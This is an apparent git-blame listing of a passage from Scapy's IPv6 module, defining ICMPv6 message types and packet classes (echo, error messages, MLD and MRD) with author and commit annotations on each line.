1239c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1240c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################### ESP Header ##################################
1241c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1242c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class IPv6ExtHdrESP(_IPv6extHdr):
1243c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     name = "IPv6 Extension Header - ESP"
1244c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     fields_desc = [ IntField("spi", 0),
1245c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     IntField("sn", 0),
12460d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#                     # there is things to extract from IKE work
1247c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     ]
1248c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     overloads_fields = {IPv6: { "nh": 50 }}
1249c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
12500d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1251c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1252c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
1253c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
1254c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                           ICMPv6* Classes                             ###
1255c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
1256c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
1257c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1258c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6typescls = {    1: "ICMPv6DestUnreach",
1259c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     2: "ICMPv6PacketTooBig",
1260c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     3: "ICMPv6TimeExceeded",
1261c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     4: "ICMPv6ParamProblem",
1262c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   128: "ICMPv6EchoRequest",
1263c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   129: "ICMPv6EchoReply",
12640d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                   130: "ICMPv6MLQuery",
1265c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   131: "ICMPv6MLReport",
1266c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   132: "ICMPv6MLDone",
1267c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   133: "ICMPv6ND_RS",
1268c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   134: "ICMPv6ND_RA",
1269c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   135: "ICMPv6ND_NS",
1270c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   136: "ICMPv6ND_NA",
1271c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   137: "ICMPv6ND_Redirect",
1272c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #138: Do Me - RFC 2894 - Seems painful
1273c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   139: "ICMPv6NIQuery",
1274c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   140: "ICMPv6NIReply",
1275c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   141: "ICMPv6ND_INDSol",
1276c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   142: "ICMPv6ND_INDAdv",
1277c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #143: Do Me - RFC 3810
12780d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                   144: "ICMPv6HAADRequest",
127977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                   145: "ICMPv6HAADReply",
128077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                   146: "ICMPv6MPSol",
128177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                   147: "ICMPv6MPAdv",
1282c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #148: Do Me - SEND related - RFC 3971
1283c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #149: Do Me - SEND related - RFC 3971
1284c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   151: "ICMPv6MRD_Advertisement",
1285c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   152: "ICMPv6MRD_Solicitation",
1286c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   153: "ICMPv6MRD_Termination",
128777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                   }
1288c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1289b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadonicmp6typesminhdrlen = {    1: 8,
1290b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                           2: 8,
1291b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                           3: 8,
1292b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                           4: 8,
1293b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         128: 8,
1294b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         129: 8,
1295b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         130: 24,
1296b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         131: 24,
1297b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         132: 24,
1298b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         133: 8,
1299b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         134: 16,
1300b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         135: 24,
1301b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         136: 24,
1302b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         137: 40,
1303b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         #139:
1304b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         #140
1305b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         141: 8,
1306b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         142: 8,
1307b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         144: 8,
1308b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         145: 8,
1309b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         146: 8,
1310b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         147: 8,
1311b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         151: 8,
1312b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         152: 4,
1313b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         153: 4
1314b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                   }
1315b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon
13160d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzicmp6types = { 1 : "Destination unreachable",
13170d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               2 : "Packet too big",
131877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil               3 : "Time exceeded",
1319c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               4 : "Parameter problem",
1320c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             100 : "Private Experimentation",
1321c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             101 : "Private Experimentation",
1322c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             128 : "Echo Request",
1323c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             129 : "Echo Reply",
1324c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             130 : "MLD Query",
132577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             131 : "MLD Report",
132677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             132 : "MLD Done",
132777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             133 : "Router Solicitation",
132877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             134 : "Router Advertisement",
132977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             135 : "Neighbor Solicitation",
133077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             136 : "Neighbor Advertisement",
133177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             137 : "Redirect Message",
133277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             138 : "Router Renumbering",
13330d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz             139 : "ICMP Node Information Query",
13340d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz             140 : "ICMP Node Information Response",
133577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             141 : "Inverse Neighbor Discovery Solicitation Message",
133677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             142 : "Inverse Neighbor Discovery Advertisement Message",
133777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             143 : "Version 2 Multicast Listener Report",
133877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             144 : "Home Agent Address Discovery Request Message",
133977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             145 : "Home Agent Address Discovery Reply Message",
134077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             146 : "Mobile Prefix Solicitation",
134177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             147 : "Mobile Prefix Advertisement",
134277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             148 : "Certification Path Solicitation",
134377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             149 : "Certification Path Advertisement",
1344c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             151 : "Multicast Router Advertisement",
1345c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             152 : "Multicast Router Solicitation",
1346c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             153 : "Multicast Router Termination",
1347c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             200 : "Private Experimentation",
1348c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             201 : "Private Experimentation" }
1349c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1350c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1351c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6(Packet):
1352c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 dummy class"
1353c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: {"nh": 58}}
1354c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def post_build(self, p, pay):
135577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        p += pay
13560d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        if self.cksum == None:
135777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            chksum = in6_chksum(58, self.underlayer, p)
135877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            p = p[:2]+struct.pack("!H", chksum)+p[4:]
135977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return p
1360c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1361c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
1362c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.payload.hashret()
1363c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1364c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
1365c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # isinstance(self.underlayer, _IPv6ExtHdr) may introduce a bug ...
136677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        if (isinstance(self.underlayer, IPerror6) or
1367c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            isinstance(self.underlayer, _IPv6ExtHdr) and
1368c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            isinstance(other, _ICMPv6)):
136977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            if not ((self.type == other.type) and
137077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    (self.code == other.code)):
137177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                return 0
137277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            return 1
137377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return 0
1374c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1375c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1376c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6Error(_ICMPv6):
1377c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 errors dummy class"
1378c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def guess_payload_class(self,p):
137977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return IPerror6
1380c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1381c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6Unknown(_ICMPv6):
1382c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Scapy6 ICMPv6 fallback class"
1383c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",1, icmp6types),
1384c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
1385c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
13860d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    StrField("msgbody", "")]
1387c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1388c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1389c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil################################## RFC 2460 #################################
1390c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1391c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6DestUnreach(_ICMPv6Error):
1392c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Destination Unreachable"
1393c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",1, icmp6types),
1394c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("code",0, { 0: "No route to destination",
1395c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              1: "Communication with destination administratively prohibited",
1396c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              2: "Beyond scope of source address",
1397c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              3: "Address unreachable",
1398c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              4: "Port unreachable" }),
1399c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
14002a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                    ByteField("length", 0),
14012a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                    X3BytesField("unused",0)]
1402c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1403c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6PacketTooBig(_ICMPv6Error):
1404c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Packet Too Big"
1405c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",2, icmp6types),
1406c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
1407c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1408c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("mtu",1280)]
14090d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1410c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6TimeExceeded(_ICMPv6Error):
1411c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Time Exceeded"
1412c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",3, icmp6types),
1413b77e3cb7813eb79374d688dab2e1c4382cc6c6e3Guillaume Valadon                    ByteEnumField("code",0, { 0: "hop limit exceeded in transit",
14142a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                                              1: "fragment reassembly time exceeded"}),
1415c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
14162a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                    ByteField("length", 0),
14172a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                    X3BytesField("unused",0)]
1418c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
14190d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# The default pointer value is set to the next header field of
1420c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# the encapsulated IPv6 packet
14210d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6ParamProblem(_ICMPv6Error):
1422c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Parameter Problem"
1423c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",4, icmp6types),
1424c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("code",0, {0: "erroneous header field encountered",
1425c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                             1: "unrecognized Next Header type encountered",
1426c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                             2: "unrecognized IPv6 option encountered"}),
1427c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1428c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("ptr",6)]
1429c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1430c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6EchoRequest(_ICMPv6):
1431c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Echo Request"
1432c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 128, icmp6types),
1433c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
1434c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1435c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id",0),
1436c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("seq",0),
1437c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrField("data", "")]
1438c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def mysummary(self):
1439c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% (id: %id% seq: %seq%)")
1440c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
1441c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("HH",self.id,self.seq)+self.payload.hashret()
1442c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
14430d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1444c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6EchoReply(ICMPv6EchoRequest):
1445c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Echo Reply"
1446c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type = 129
1447c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
14480d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        # We could match data content between request and reply.
1449c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return (isinstance(other, ICMPv6EchoRequest) and
1450c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                self.id == other.id and self.seq == other.seq and
1451c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                self.data == other.data)
1452c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1453c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1454c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############ ICMPv6 Multicast Listener Discovery (RFC3810) ##################
1455c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1456c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# tous les messages MLD sont emis avec une adresse source lien-locale
1457c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# -> Y veiller dans le post_build si aucune n'est specifiee
1458c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# La valeur de Hop-Limit doit etre de 1
1459c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# "and an IPv6 Router Alert option in a Hop-by-Hop Options
1460c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# header. (The router alert option is necessary to cause routers to
1461c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# examine MLD messages sent to multicast addresses in which the router
14620d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# itself has no interest"
1463c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6ML(_ICMPv6):
1464c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 130, icmp6types),
1465c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
1466c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1467c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("mrd", 0),
1468c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("reserved", 0),
1469b77e3cb7813eb79374d688dab2e1c4382cc6c6e3Guillaume Valadon                    IP6Field("mladdr","::")]
1470c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1471c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# general queries are sent to the link-scope all-nodes multicast
1472c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# address ff02::1, with a multicast address field of 0 and a MRD of
1473c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [Query Response Interval]
1474c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Default value for mladdr is set to 0 for a General Query, and
1475c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# overloaded by the user for a Multicast Address specific query
1476c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO : See what we can do to automatically include a Router Alert
1477c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#        Option in a Destination Option Header.
1478c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MLQuery(_ICMPv6ML): # RFC 2710
1479c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MLD - Multicast Listener Query"
1480c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type   = 130
1481f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    mrd    = 10000 # 10s for mrd
1482f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    mladdr = "::"
14830d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    overload_fields = {IPv6: { "dst": "ff02::1", "hlim": 1, "nh": 58 }}
1484c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
1485c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.mladdr != "::":
1486a1880b5ccfa0720d07aa77636b50af5e66f65ce9Pierre LALET            return (
1487a1880b5ccfa0720d07aa77636b50af5e66f65ce9Pierre LALET                inet_pton(socket.AF_INET6, self.mladdr) + self.payload.hashret()
1488a1880b5ccfa0720d07aa77636b50af5e66f65ce9Pierre LALET            )
1489c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
1490c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.hashret()
14910d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
14920d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1493c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO : See what we can do to automatically include a Router Alert
1494c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#        Option in a Destination Option Header.
1495c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MLReport(_ICMPv6ML): # RFC 2710
1496c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MLD - Multicast Listener Report"
1497c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type = 131
1498e1d0631a37e4326084e0fa2a9cb9f6466667d9e8Guillaume Valadon    overload_fields = {IPv6: {"hlim": 1, "nh": 58}}
1499c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # implementer le hashret et le answers
15000d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1501c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# When a node ceases to listen to a multicast address on an interface,
1502c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# it SHOULD send a single Done message to the link-scope all-routers
1503c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# multicast address (FF02::2), carrying in its multicast address field
1504c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# the address to which it is ceasing to listen
1505c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO : See what we can do to automatically include a Router Alert
1506c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#        Option in a Destination Option Header.
1507c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MLDone(_ICMPv6ML): # RFC 2710
1508c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MLD - Multicast Listener Done"
1509c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type = 132
1510f9727001edc936020f47735a7653bbe1d2533026Guillaume Valadon    overload_fields = {IPv6: { "dst": "ff02::2", "hlim": 1, "nh": 58}}
1511c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1512c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1513c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil########## ICMPv6 MRD - Multicast Router Discovery (RFC 4286) ###############
1514c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
15150d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# TODO:
1516c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - 04/09/06 troglocan : find a way to automatically add a router alert
1517c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            option for all MRD packets. This could be done in a specific
1518c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            way when IPv6 is the under layer with some specific keyword
1519c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            like 'exthdr'. This would allow to keep compatibility with
1520c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            providing IPv6 fields to be overloaded in fields_desc.
15210d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#
1522c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            At the moment, if user inserts an IPv6 Router alert option
1523c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            none of the IPv6 default values of IPv6 layer will be set.
1524c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1525c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MRD_Advertisement(_ICMPv6):
1526c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Multicast Router Discovery Advertisement"
1527c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ByteEnumField("type", 151, icmp6types),
1528c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("advinter", 20),
1529c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   XShortField("cksum", None),
1530c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ShortField("queryint", 0),
1531c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ShortField("robustness", 0)]
1532c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}}
1533c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                       # IPv6 Router Alert requires manual inclusion
1534c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def extract_padding(self, s):
1535c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:8], s[8:]
1536c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1537c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MRD_Solicitation(_ICMPv6):
